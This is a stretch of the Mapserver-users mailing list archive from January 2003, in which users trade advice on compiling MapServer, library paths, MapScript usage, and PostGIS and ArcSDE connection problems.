In-Reply-To: <7CDD7B94357FD5119E800002A537C46E230558@s5-ccr-r1.ccrs.nrcan.gc.ca> (Jean-Francois.Doyon@CCRS.NRCan.gc.ca's
message of "Mon, 6 Jan 2003 16:01:45 -0500")
References: <7CDD7B94357FD5119E800002A537C46E230558@s5-ccr-r1.ccrs.nrcan.gc.ca>
Message-ID:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Jean-Francois.Doyon at CCRS.NRCan.gc.ca writes:
>
> But you're going to have a bigger problem. The system linker on your ISP's
> server isn't going to find the librairies it wants to dynamically load. To
> get around this, either you get them to update their linker paths
> (ld.so.conf), which is unlikely they would do, or you use your own linker
Just a shot in the dark: This should be configurable with the
environment variable LD_LOAD_PATH. At least Apache allows to set
Environment variables for CGI skripts, but you have to see the docs.
Markus
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Processed by Mailcrypt 3.5.6 and Gnu Privacy Guard
iD8DBQE+GfZ6xxUzQSse11ARAvYtAJ0S9+P9W+YCJGYTcFIIWBTZOEZXpACeJsaU
9myYI/xMq8tAahYoiJ3vbUc=
=8neL
-----END PGP SIGNATURE-----
From m.spring at gmx.de Mon Jan 6 13:38:25 2003
From: m.spring at gmx.de (m.spring at gmx.de)
Date: Mon, 06 Jan 2003 22:38:25 +0100
Subject: [Mapserver-users] Compile/library problems
In-Reply-To: <7CDD7B94357FD5119E800002A537C46E230558@s5-ccr-r1.ccrs.nrcan.gc.ca> (Jean-Francois.Doyon@CCRS.NRCan.gc.ca's
message of "Mon, 6 Jan 2003 16:01:45 -0500")
References: <7CDD7B94357FD5119E800002A537C46E230558@s5-ccr-r1.ccrs.nrcan.gc.ca>
Message-ID:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Jean-Francois.Doyon at CCRS.NRCan.gc.ca writes:
>
> But you're going to have a bigger problem. The system linker on your ISP's
> server isn't going to find the librairies it wants to dynamically load. To
> get around this, either you get them to update their linker paths
> (ld.so.conf), which is unlikely they would do, or you use your own linker
Just a shot in the dark: This should be configurable with the
environment variable LD_LOAD_PATH. At least Apache allows to set
Environment variables for CGI skripts, but you have to see the docs.
Markus
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Processed by Mailcrypt 3.5.6 and Gnu Privacy Guard
iD8DBQE+GfdRxxUzQSse11ARAiHJAKCC7LzijAw+1oehGXfMr52kUr9qgACePZ7+
oS4xuons+9ikA1HXHmNaEZg=
=Nd2t
-----END PGP SIGNATURE-----
From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Mon Jan 6 13:42:40 2003
From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca)
Date: Mon, 6 Jan 2003 16:42:40 -0500
Subject: [Mapserver-users] Compile/library problems
Message-ID: <7CDD7B94357FD5119E800002A537C46E230559@s5-ccr-r1.ccrs.nrcan.gc.ca>
Very true, hadn't thought about that, but again, his ISP *might* object
about that ...
If they don't, they can use the SetEnv configuration directive in apache to
set LD_LIBRARY_PATH ...
J.F.
-----Original Message-----
From: m.spring at gmx.de [mailto:m.spring at gmx.de]
Sent: Monday, January 06, 2003 4:35 PM
To: mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] Compile/library problems
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Jean-Francois.Doyon at CCRS.NRCan.gc.ca writes:
>
> But you're going to have a bigger problem. The system linker on your
ISP's
> server isn't going to find the librairies it wants to dynamically load. To
> get around this, either you get them to update their linker paths
> (ld.so.conf), which is unlikely they would do, or you use your own linker
Just a shot in the dark: This should be configurable with the
environment variable LD_LOAD_PATH. At least Apache allows to set
Environment variables for CGI skripts, but you have to see the docs.
Markus
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Processed by Mailcrypt 3.5.6 and Gnu Privacy Guard
iD8DBQE+GfZ6xxUzQSse11ARAvYtAJ0S9+P9W+YCJGYTcFIIWBTZOEZXpACeJsaU
9myYI/xMq8tAahYoiJ3vbUc=
=8neL
-----END PGP SIGNATURE-----
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From morissette at dmsolutions.ca Mon Jan 6 13:49:31 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Mon, 06 Jan 2003 16:49:31 -0500
Subject: [Mapserver-users] Compile/library problems
References: <7CDD7B94357FD5119E800002A537C46E230558@s5-ccr-r1.ccrs.nrcan.gc.ca>
Message-ID: <3E19F9EB.460906A4@dmsolutions.ca>
Actually, I have compiled MapServer and all support libraries, including
PHP MapScript in a home account a few times before, so it's possible ot
do it.
As JF pointed, first you have to specify --with-prefix to all the
support libraries that you compile in your home account (GD, Freetype,
GDAL/OGR, PHP, etc.). Assuming that your home account is
/home/myaccount then I would suggest that you install all support libs
under /home/myaccount/local ... so for all support libraries that you
compile you would configure them using --prefix=/home/myaccount/local
and using 'make install' for each library will install the libs and
header files in the right location in your account.
Then when you configure MapServer, specify the path to each library,
e.g.
./configure --with-gd=/home/myaccount/local \
--with-gdal=/home/myaccount/local/bin/gdal-config ......
Then compile MapServer normally.
The last issue that was pointed by JF is that by default the system
won't find the libraries in your home directory. You can first try
using --enable-runpath when you configure MapServer but that may not
work well. You have a few other options:
- If you manage your own Apache instance then set LD_LIBRARY_PATH in
your httpd.conf:
SetEnv LD_LIBRARY_PATH /home/myaccount/local/lib
- If your ISP maintains a Apache VirtualHost for your account then the
above directive can be added by them in the VirtualHost setting
- If none of the above is an option for you then you can create a small
shell script to encapsulate your mapserv CGI:
---- mapserv.sh ----
#! /bin/sh
export LD_LIBRARY_PATH=/home/myaccount/local/lib
/home/myaccount/mapserver/mapserv
---------------------
And then place that mapserv.sh in your cgi-bin directory.
I hope that helps,
Daniel
Jean-Francois.Doyon at ccrs.nrcan.gc.ca wrote:
>
> Andrew,
>
> Hmmmm. When you say installed, you mean you configure with a --prefix, and
> then did a "make install"?
>
> If so, the problem is probably simply the path you're giving to configure
> ...
>
> let's say you created ~/lib and ~/include to put your librairies in ... In
> this case, you saying --with-gd=/ might just work (the lib and include
> directories are ofthen "assumed" by configure scripts. This becomes
> sligghtly clearer if you use a subdirectory for your styff, so ~/mylibs
> inside which you create lib and include, and then feed ~/mylibs to your
> configure ...
>
> In some cases, you can try pointing to the src directory where the library
> has been built.
>
> But you're going to have a bigger problem. The system linker on your ISP's
> server isn't going to find the librairies it wants to dynamically load. To
> get around this, either you get them to update their linker paths
> (ld.so.conf), which is unlikely they would do, or you use your own linker
> ... Or, last resort, statically build your cgi executable ... though I
> couldn't help you with that I'm afraid!
>
> J.F.
>
> -----Original Message-----
> From: Andrew Covey [mailto:lornknight at yahoo.com]
> Sent: Monday, January 06, 2003 3:50 PM
> To: mapserver-users at lists.gis.umn.edu
> Subject: [Mapserver-users] Compile/library problems
>
> Hello,
>
> I am attempting to install MapServer via an account
> with an ISP, who allowed me to install the necessary
> support libraries (in my home dir). When I attempt to
> compile map server, I specify where the libs are -
> just as ./configure --help specifies I should.
> ./configure will, under no circumstances, acknowledge
> the presence of the libraries I have compiled.
>
> I have had this compile problem with other Redhat
> boxes, and Gentoo Linux boxes also. Slackware seems
> to behave well however. Sadly, my ISP is using RedHat
> 7.2, and will not change distros just for little'ole
> me.
>
> Can anyone help me figure out why I can't seem to
> compile in the libs I compiled and installed in my
> home dir? Need my ISP install the libraries instead
> of myself for some reason? Any help would be most
> appreciated.
>
> Thanks,
>
> Andrew C.
From sgillies at frii.com Mon Jan 6 13:58:39 2003
From: sgillies at frii.com (Sean Gillies)
Date: Mon, 6 Jan 2003 14:58:39 -0700
Subject: [Mapserver-users] Zope Mapserver Product
Message-ID: <032A52E4-21C2-11D7-A412-000393B98B56@frii.com>
Greetings and a great New Year to all,
I've just finished testing a first cut at a Mapserver product for
Zope that I'm calling ZMapserver 0.1, and have made it available
from the url
http://www.frii.com/~sgillies/projects/ZMapserver/
ZMapserver has Zope management interfaces for administering maps
and several simple mapping functions (draw, center, pan, zoom).
A very simple demo application using a ZTP and Python script is
included.
I am hoping that the Zope and Python mapscript users out there
may try it out, let me know what they think of it, and consider
collaborating on future development. Dave Graham -- try dropping
it into your Zope server and let me know if it works with all the
raster data!
All that it requires is Zope (I've been testing with 2.6, but
don't anticipate problems with 2.5) and installation of Python
mapscript (recent enough to have the imgObj.saveToString() method)
in a location that Zope can see. Check out the README file in
the url above for directions and more information and use the
file tests/testZMap.py as API documentation for now.
cheers,
Sean
# Sean Gillies
# sgillies at frii.com
From daver at umiacs.umd.edu Mon Jan 6 13:58:46 2003
From: daver at umiacs.umd.edu (David Rafkind)
Date: Mon, 6 Jan 2003 16:58:46 -0500
Subject: [Mapserver-users] yet another applet interface
Message-ID: <20030106165846.A22770@ironclad.umiacs.umd.edu>
I stole the color scheme from the PHP GIS guy. :)
http://ironclad.umiacs.umd.edu:8000/
This is an evolution of an interface I did for the ESS project at UMIACS:
http://terra.umiacs.umd.edu:8080/ess2
(project is in development and may not be functional)
Any comments?
From ARyan at co.linn.or.us Mon Jan 6 16:34:13 2003
From: ARyan at co.linn.or.us (Ryan, Adam)
Date: Mon, 6 Jan 2003 16:34:13 -0800
Subject: [Mapserver-users] Perl Mapscript and Microsoft IIS
Message-ID: <614FCE5F14A6D41180C200010240D6A20104BFA4@LINNMS>
This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.
------_=_NextPart_001_01C2B5E4.80C72160
Content-Type: text/plain;
charset="iso-8859-1"
Hi. I want to try compiling mapserver on a windows box and use perl
mapscript.
I see the makefile.vc file for MSVC++, but I don't have visual C++. In
fact, I have no compiling experience whatsoever.
Can I use the makefile.vc file with any of the free C compilers out there?
Can I edit it easily to work on another compiler? Can someone steer me
along the right track?
Thanks,
Adam
------_=_NextPart_001_01C2B5E4.80C72160
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Perl Mapscript and Microsoft IIS
Hi. I want to try compiling mapserver on a =
windows box and use perl mapscript.
I see the makefile.vc file for MSVC++, but I don't =
have visual C++. In fact, I have no compiling experience =
whatsoever.
Can I use the makefile.vc file with any of the free C =
compilers out there? Can I edit it easily to work on another =
compiler? Can someone steer me along the right track?
Hello all, I have PHP ver4.0.6 and =
MapServer=20
version 3.5.I want to search the point on the map and I use the function =
"int queryByPoint(pointObj point, int mode, double=20
buffer)",but there =
are some=20
problems:
the error messages:
Warning:=20
MapServer Error in msQueryByPoint(): No matching record(s)=20
found.
int queryByPoint(pointObj point, int mode, =
double=20
buffer)
Query all selected layers in map at point =
location=20
specified in georeferenced map coordinates (i.e. not pixels).The query =
is=20
performed on all the shapes that are part of a CLASS that contains a =
TEMPLATE=20
value or that match any class in a layer that contains a LAYER TEMPLATE=20
value. Mode =
is=20
MS_SINGLE or MS_MULTIPLE depending on number of results you want.Passing =
buffer=20
<=3D0 defaults to tolerances set in the map file(in pixels) but you can use a constant =
buffer=20
(specified in ground units) instead. Returns MS_SUCCESS if shapes =
were found=20
or MS_FAILURE if nothing was found or if some other error happened (note =
that=20
the error message in case nothing was found can be avoided in PHP using =
the '@' control operator).
question:
What's problems with my program?
Can you explan how the function should be used =
correctly?I don't know=20
the definition "in pixel"?what does it mean?
I'll really apreciate your =
response!
------=_NextPart_000_004A_01C2B69E.3728BD60--
-----------------------------------------------------------------
< ?C???? Yahoo!?_?? > www.yahoo.com.tw
From lfilak at medinaco.org Tue Jan 7 07:10:59 2003
From: lfilak at medinaco.org (Lowell Filak)
Date: Tue, 07 Jan 2003 10:10:59 -0500
Subject: [Mapserver-users] Perl Mapscript and Microsoft IIS
Message-ID: <200301071508.h07F80R27442@yogi.medinaco.net>
I'm not sure that anything says that a persistent individual couldn't get it to work and put a howto in the wiki.
Lowell F.
The following message was sent by "Hankley, Chip" on Tue, 7 Jan 2003 08:34:14 -0600.
> I have been under the impression that Perl MapScript would not run under
> Windows.
>
> Chip
>
>
> -----Original Message-----
> From: Ryan, Adam [mailto:ARyan at co.linn.or.us]
> Sent: Monday, January 06, 2003 6:34 PM
> To: mapserver-users at lists.gis.umn.edu
> Subject: [Mapserver-users] Perl Mapscript and Microsoft IIS
>
>
>
>
> Hi. I want to try compiling mapserver on a windows box and use perl
> mapscript.
> I see the makefile.vc file for MSVC++, but I don't have visual C++. In
> fact, I have no compiling experience whatsoever.
> Can I use the makefile.vc file with any of the free C compilers out there?
> Can I edit it easily to work on another compiler? Can someone steer me
> along the right track?
> Thanks,
> Adam
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From guillaume.sueur at khi2.fr Tue Jan 7 07:33:31 2003
From: guillaume.sueur at khi2.fr (Guillaume SUEUR)
Date: Tue, 07 Jan 2003 16:33:31 +0100
Subject: [Mapserver-users] about php function "querybypoint()"
References: <004d01c2b65b$29936580$3c46fea9@Mike>
Message-ID: <3E1AF34B.20802@khi2.fr>
just use the @ stuff to avoid the php warning message :
@$oLayer->queryByPoint($pon_point,MS_SINGLE,-1);
It then should work properly, without warning.
---------------------------
Guillaume SUEUR
Ing?nieur d?veloppement SIG
KHI2 - BVA
25bis Avenue Marcel Dassault
31505 TOULOUSE CEDEX 5
----------------------------
From jmccue at geovue.com Tue Jan 7 07:41:13 2003
From: jmccue at geovue.com (John McCue)
Date: Tue, 7 Jan 2003 10:41:13 -0500
Subject: [Mapserver-users] .NET wrappers for MapServer
Message-ID:
Happy New Year to all!
Is anyone doing any work with .NET wrappers for MapServer? We are heading
toward heavy .NET development and would be interested in anyone's thoughts.
Thanks!
From dlowther at ou.edu Tue Jan 7 08:56:48 2003
From: dlowther at ou.edu (Lowther, David W)
Date: Tue, 7 Jan 2003 10:56:48 -0600
Subject: [Mapserver-users] SOLUTION - - RE: [postgis-users] Mapserver / PostGIS Layer
Message-ID:
Hello All,
Thanks to all so much for your help with this. Frank, you won't believe
this...
I have no idea WHY but here is the solution:
I was using IP address of Postgres server in my connection. As soon as I
changed from IP to name the problem was resolved.
So, host=111.111.111.111 wont work, but host=name.ou.edu works. But
111.111.111.111 works inside the same domain as postgres server.
Go figure.
Hope this will help someone sometime.
Dave
-----Original Message-----
From: Lowther, David W [mailto:dlowther at ou.edu]
Sent: Monday, January 06, 2003 10:07 AM
To: Mapserver-Users (E-mail); Postgis-Users (E-mail)
Subject: [postgis-users] Mapserver / PostGIS Layer
Hi List and Happy New Year!
I have been struggling with a situation related to Mapserver and PostGIS
layers and I was hoping someone might help me out.
I have PostGIS running on Redhat. I have 2 web/mapserver (3.6.3) servers
(Intel WinNT4.0 IIS4.0) that access this PostGIS database. One is a test
server (located in the same domain as the PostGIS server) and one is a live
server (located in a separate domain from the PostGIS server). Using the
same connection information in a mapfile the test server can access and map
the PostGIS database with no problem - as could the live server when it was
in the domain - but the live server fails to connect with an error
(msPOSTGISLayerOpen(): Query error. Error parsing POSTGIS connection
information.) now that it is outside the domain. I am stressing the domain
issue here because I can't think of any other difference in the two servers.
- PGAdmin from the live server connects with no problem.
- ODBC connectivity from the live server works fine.
- The mapfiles on the test and live servers are identical except for
necessary directory differences.
- Checked password, hostname, connection type, socket connections enabled as
instructed in debug version of Mapserver build, but if they work on the test
server shouldn't they work on the live?
- Added live server to pg_hba.conf although test server does not appear and
connects successfully:
host all 216.226.17.176 255.255.255.0 trust
- Initialize postmaster with -i option to allow tcp/ip connections.
- tcpip_socket=true in postgresql.conf.
- Tried using port=5432 in the CONNECTION param for mapfile - no difference
in behaviour.
Heres the layer from the mapfile:
### ROADS ###
LAYER
GROUP "Selected"
NAME "gradyRoads"
CONNECTIONTYPE postgis
CONNECTION "user=*** password=*** dbname=*** host=***"
DATA "the_geom from (select oid,* from roads) as foo"
TYPE LINE
STATUS OFF
PROJECTION #GEOGRAPHIC NAD83
proj=longlat
ellps=GRS80
no_defs
END
TEMPLATE "IDgradyRoads.htm"
CLASS#
NAME "Grady Roads"
SYMBOL "line"
SIZE 2
OUTLINECOLOR -1 -1 -1
COLOR 10 200 100
END
METADATA
legend_order "5"
END
END
Would anyone be willing to try connecting to the PostGIS server using
Mapserver if I were to provide ip, db, un, and pwd info? I'm just completely
stuck at this point.
Thanks so much for everyone's help getting me to this point and thanks in
advance for all your help with this issue,
David Lowther
Software Engineer
GEO Information Systems
University of Oklahoma
dlowther at ou.edu
(405) 325-3131
http://www.geo.ou.edu
_______________________________________________
postgis-users mailing list
postgis-users at postgis.refractions.net
http://postgis.refractions.net/mailman/listinfo/postgis-users
From mike_5102 at yahoo.com.tw Tue Jan 7 08:56:39 2003
From: mike_5102 at yahoo.com.tw (Mikeyahoo)
Date: Wed, 8 Jan 2003 00:56:39 +0800
Subject: [Mapserver-users] about unicode to big5?
Message-ID: <001201c2b66d$bfef0b80$3c46fea9@Mike>
This is a multi-part message in MIME format.
------=_NextPart_000_000F_01C2B6B0.CD274F40
Content-Type: text/plain;
charset="big5"
Content-Transfer-Encoding: quoted-printable
Hello all,
I have PHP ver4.0.6 and MapServer version 3.5. and the dbms is =
postgresql7.1.3.I want to show the big5 on my map.My db had already =
converted the unicode to the big5,but the map on web still show the =
unicode.So I want to use php/mapscript to convert the word.following is =
the program that download on web:
>6);
$str.=3D(0x80 | $c & 0x3F);
}ElseIf($c < 0x10000) {
$str.=3D(0xE0 | $c>>12);
$str.=3D(0x80 | $c>>6 & 0x3F);
$str.=3D(0x80 | $c & 0x3F);
}ElseIf($c < 0x200000) {
$str.=3D(0xF0 | $c>>18);
$str.=3D(0x80 | $c>>12 & 0x3F);
$str.=3D(0x80 | $c>>6 & 0x3F);
$str.=3D(0x80 | $c & 0x3F);
}
Return $str;
}
Function Big52Utf8($Big5){
//Modify By MingSen Zhao
If(!Trim($Big5)) Return $Big5;
$tmp=3DFile("./BIG5.TXT");
Foreach($tmp as $key =3D> $value)
$codetable[Hexdec(Substr($value,0,6))]=3DSubstr($value,7,6);
While($Big5){
If(Ord(Substr($Big5,0,1))>127){
$utf8=3DU2Utf8(Hexdec($codetable[Hexdec(Bin2hex(Substr($Big5,0,2)))]));
For($i=3D0;$i
Hello all,
I have PHP ver4.0.6 and =
MapServer version 3.5. and the=20
dbms is postgresql7.1.3.I want to show the =
big5 on my=20
map.My db had already converted the unicode to the big5,but=20
the map on web still show the unicode.So I want to use =
php/mapscript=20
to convert the word.following is the program that download on=20
web:
it need a file "big5.txt" that =
is a u8tob5=20
table.this program can be running correctly.but the word on map is=20
still unreadable.It seems to transfer uncompletely.And the =
tansfer=20
time is slowly.Are there any methods that can work like this =
and more=20
efficiency?
thanks for your=20
response!
------=_NextPart_000_000F_01C2B6B0.CD274F40--
-----------------------------------------------------------------
< ?C???? Yahoo!?_?? > www.yahoo.com.tw
From katarina.kobesova at chello.at Tue Jan 7 11:34:48 2003
From: katarina.kobesova at chello.at (Katarina Kobesova)
Date: Tue, 7 Jan 2003 20:34:48 +0100
Subject: [Mapserver-users] how to mark a point (text member of draw()-function)
Message-ID: <001901c2b683$d72ff2d0$356a6e50@katti>
This is a multi-part message in MIME format.
------=_NextPart_000_0016_01C2B68C.38CB27F0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi !
I have some problems with the drawing of a single point (or two points). =
I have a layer without DATA information in the mapfile.
mapfile
####### home layer #########
LAYER
NAME "home_point"
TYPE POINT
STATUS OFF
CLASS
NAME "Ausgangspunkt"
SYMBOL "s_home" #in der symbol-datei
END
END
####### home layer #########
phpfile:
/*********** Layer and the Point to draw ***************/
$home_layer =3D $map->getLayerByName("home_point");
$home_layer->set("status", 1);
$home1 =3D ms_newPointObj();
$home1->setXY($_SESSION["s_fromx"], $_SESSION["s_fromy"]);
if($_SESSION["s_tox"] !=3D 0 && $_SESSION["s_toy"] !=3D 0) {
$home2 =3D ms_newPointObj();
$home2->setXY($_SESSION["s_tox"], $_SESSION["s_toy"]);
}
$image =3D $map->draw(); //my map-object
//Home1 und eventuell Home2 dazu zeichnen
$home1->draw($map, $home_layer, $image, 0, "blablabla");
if(is_object($home2) && get_class($home2) =3D=3D "point") {
$home2->draw($map, $home_layer, $image, 0, "blablabla");
}
Problem:
only the symbol is drawn, not the text. However, I need the text for =
marking of the starting point.
Can this explain anybody to me?=20
Many thanks
Kati
------=_NextPart_000_0016_01C2B68C.38CB27F0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi !
I have some problems with the drawing =
of a single=20
point (or two points). I have a layer without DATA information in the=20
mapfile.
mapfile
####### home layer=20
######### LAYER NAME "home_point" =
TYPE=20
POINT STATUS OFF =20
CLASS NAME=20
"Ausgangspunkt" SYMBOL =
"s_home" =20
#in der symbol-datei END END ####### home layer=20
#########
phpfile:
/*********** Layer and the=20
Point to draw ***************/ $home_layer =3D=20
$map->getLayerByName("home_point"); $home_layer->set("status",=20
1); $home1 =3D =
ms_newPointObj(); $home1->setXY($_SESSION["s_fromx"],=20
$_SESSION["s_fromy"]);
only the symbol is drawn, not the text. However, =
I need the text for marking of the starting point. Can this =
explain=20
anybody to me?
Many thanks
Kati
------=_NextPart_000_0016_01C2B68C.38CB27F0--
From morissette at dmsolutions.ca Tue Jan 7 13:43:54 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Tue, 07 Jan 2003 16:43:54 -0500
Subject: [Mapserver-users] mapserver compile problems
References: <3E1ACED9.8000105@geosysnet.de>
Message-ID: <3E1B4A1A.B1DF2AB2@dmsolutions.ca>
Philipp Jacob wrote:
>
> the configure command:
> "CXX=/opt/gcc295/bin/c++ CC=/opt/gcc295/bin/gcc ./configure --with-gd
> --with-php=../php-4.2.3/ --with-gdal=../gdal-1.1.7/
> --enable-force-freetype1 --with-proj --with-wmsclient"
>
...
> but when i do 'make' the make process stops with the following error:
>
> ----------
> [...some regular make outout above this...]
> /opt/gcc295/bin/gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL
> -DUSE_PROJ -DUSE_WMS -DUSE_WMS_LYR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG
> -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_GDAL
> -I/usr/local/include -I/usr/local/include
> -I/usr/local/include/w3c-libwww -DHAVE_CONFIG_H shp2img.o -L. -lmap
> -lgd -L/usr/local/lib -lgd -ljpeg -lttf -lpng -lz -ltiff -ljpeg -lttf
> -lpng -lz -lproj -ljpeg -L/usr/local/lib -lwwwxml -lxmltok
> -lxmlparse -lwwwinit -lwwwapp -lwwwhtml -lwwwtelnet -lwwwnews -lwwwhttp
> -lwwwmime -lwwwgopher -lwwwftp -lwwwfile -lwwwdir -lwwwcache -lwwwstream
> -lwwwmux -lwwwtrans -lwwwcore -lwwwutils -lmd5 -ldl -lm -o shp2img
> ./libmap.a(mapraster.o): In function `drawGDAL':
> mapraster.o(.text+0x4d4): undefined reference to `GDALGetRasterXSize'
> ...
You are getting this because configure didn't find the 'gdal-config'
script and it failed to include -lgdal.1.1 in the link arguments. You
have to pass the full path to the gdal-config file in the --with-gdal
parameter, not just the path to GDAL (I know this can become confusing).
The configure script should have complained about this but it didn't, so
I fixed it in both 3.6.4-dev and 3.7-dev to complain about this
mistake. The './configure --help' output also documented the option as
'--with-gdal[=DIR]' and I changed it to '--with-gdal[=PATH]' which will
hopefully reduce the chances of confusion.
Now, you should be able to compile without getting those fixes as long
as you pass the right argument to --with-gdal:
Did you 'make install' in the GDAL directory? That would be the best
thing to do and then you could use '--with-gdal' without any argument
assuming that /usr/local/bin/gdal-config is in your path.
If you must specify an alternate location for GDAL then you should pass
the full path and filename of the gdal-config script, if you didn't
'make install' GDAL, then the path should likely be:
--with-gdal=../gdal-1.1.7/apps/gdal-config
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From jeff at propertykey.com Tue Jan 7 14:11:45 2003
From: jeff at propertykey.com (Jeff Hoffmann)
Date: Tue, 07 Jan 2003 16:11:45 -0600
Subject: [Mapserver-users] Mapserver to SVG Demo
In-Reply-To:
References:
Message-ID: <3E1B50A1.1010608@propertykey.com>
Geoff Anderson wrote:
> I have not worked with WFS yet. I have prototyped an application that
> reads GML polygons into Java2D objects, computes the intersection,
> writes the result to GML. XSLT transforms the GML to SVG which is
> dynamically loaded over Mapserver generated base maps. It would be
> great if I could plug WFS into it.
My experience so far with the WFS support in Mapserver hasn't been
overly positive so far, but I'm just getting into it. I'm learning
about WFS (& SVG) along the way so as much as anything, I'm not even
sure I'm interpreting how it should work correctly much less if it is
working correctly. I can seem to generate a single layer OK, but there
are a couple of things I've run into. First, in the WFS spec, it looks
like you can have multiple TYPENAMEs (layers) in one request & I can't
get it to work. Also, it seems like the bounding box isn't being used
correctly (it seems like the whole layer is being retrieved from a
PostGIS data source & then filtered from there).
>
> Purely vector SVG is great, but introduces the obvious challenges
> associated with moving large/massive text files of the net.
It seems to me that the compressed SVG files end up being pretty
reasonable in file size (it looks like 75%-80% compression). Plus, if
you use something like PNG, the more detailed the image, the poorer the
compression, so unless you have an image that's hopelessly cluttered, a
compressed SVG should end up at least a comparable size. I know that
the Adobe plugin supports svgz, but I guess that it's just an assumption
on my part that they all do. And I haven't even talked about all the
cool additional features yet... I'm a bit concerned about using it in
public sites, though, because of the poor/non-existant support in
Mozilla/Netscape 7 & scripting issues on the Mac. I still have to look
into both of those things more, but what I've heard hasn't been promising.
--
Jeff Hoffmann
PropertyKey.com
From teb at mallit.fr.umn.edu Tue Jan 7 14:08:39 2003
From: teb at mallit.fr.umn.edu (Thomas E. Burk)
Date: Tue, 7 Jan 2003 16:08:39 -0600 (CST)
Subject: [Mapserver-users] Mapserver and ArcSDE (fwd)
Message-ID: <200301072208.h07M8di17980@mallit.fr.umn.edu>
>From bergholz at land-system.de Tue Jan 7 05:39:33 2003
Received: from lists.gis.umn.edu (lists.gis.umn.edu [128.101.73.109])
by mallit.fr.umn.edu (8.11.6+Sun/8.9.1) with ESMTP id h07BdXh17571
for ; Tue, 7 Jan 2003 05:39:33 -0600 (CST)
Received: from www.land-system.de ([213.168.203.6])
by lists.gis.umn.edu (8.12.6/8.12.6) with ESMTP id h07BlSae014174
for ; Tue, 7 Jan 2003 05:47:33 -0600 (CST)
Subject: Mapserver and ArcSDE
Date: Tue, 7 Jan 2003 12:46:50 +0100
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Message-ID: <5520070FE7AB574DAEA25A428B77BD7C0BD0DA at defiant.deepspace>
X-MS-Has-Attach:
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
X-MS-TNEF-Correlator:
content-class: urn:content-classes:message
Thread-Topic: Mapserver and ArcSDE
Thread-Index: AcK2QncYwdTi/9TcTkqPdz4HW1+TPg==
From: "Petra Bergholz"
To:
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by mallit.fr.umn.edu id h07BdXh17571
Hi,
I have a question:
I tried to run the Minnesota Mapserver with data from an ArcSDE Layer,
but I get the following error-message:
" msSDELayerOpen(): General error message. SDE support is not available.
"
Could you please tell me, what I might have done wrong???
My Layer-Description in my mapfile looks like this:
LAYER
NAME sde.SDE.osterholz_gemeinden
TYPE POLYGON
CONNECTION "kirk,esri_sde,SDE,sde,sdepwd"
CONNECTIONTYPE sde
DATA "sde.SDE.osterholz_gemeinden,shape"
STATUS OFF
CLASSITEM ZIP_CODE
CLASS
NAME "OsterholzGemeinden"
EXPRESSION /./
OUTLINECOLOR 0 0 0
COLOR 255 255 255
TEMPLATE "osterholz.html"
END
HEADER "osterholz_header.html"
FOOTER "osterholz_footer.html"
DUMP TRUE # allow GML export
METADATA
WMS_TITLE "osterholz_gemeinden"
WMS_ABSTRACT "Osterholz Gemeinden shapefile."
WMS_SRS "EPSG:AUTO"
END
END
I'm looking forward to your answer!
Regards
Petra Bergholz
From steve.lime at dnr.state.mn.us Tue Jan 7 14:21:28 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Tue, 07 Jan 2003 16:21:28 -0600
Subject: [Mapserver-users] Mapserver and ArcSDE (fwd)
Message-ID:
It means you haven't compiled MapServer against the SDE client libs...
>>> "Thomas E. Burk" 01/07/03 04:08PM >>>
>From bergholz at land-system.de Tue Jan 7 05:39:33 2003
Received: from lists.gis.umn.edu (lists.gis.umn.edu [128.101.73.109])
by mallit.fr.umn.edu (8.11.6+Sun/8.9.1) with ESMTP id
h07BdXh17571
for ; Tue, 7 Jan 2003 05:39:33 -0600
(CST)
Received: from www.land-system.de ([213.168.203.6])
by lists.gis.umn.edu (8.12.6/8.12.6) with ESMTP id
h07BlSae014174
for ; Tue, 7 Jan 2003 05:47:33 -0600
(CST)
Subject: Mapserver and ArcSDE
Date: Tue, 7 Jan 2003 12:46:50 +0100
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Message-ID: <5520070FE7AB574DAEA25A428B77BD7C0BD0DA at defiant.deepspace>
X-MS-Has-Attach:
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
X-MS-TNEF-Correlator:
content-class: urn:content-classes:message
Thread-Topic: Mapserver and ArcSDE
Thread-Index: AcK2QncYwdTi/9TcTkqPdz4HW1+TPg==
From: "Petra Bergholz"
To:
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
mallit.fr.umn.edu id h07BdXh17571
Hi,
I have a question:
I tried to run the Minnesota Mapserver with data from an ArcSDE Layer,
but I get the following error-message:
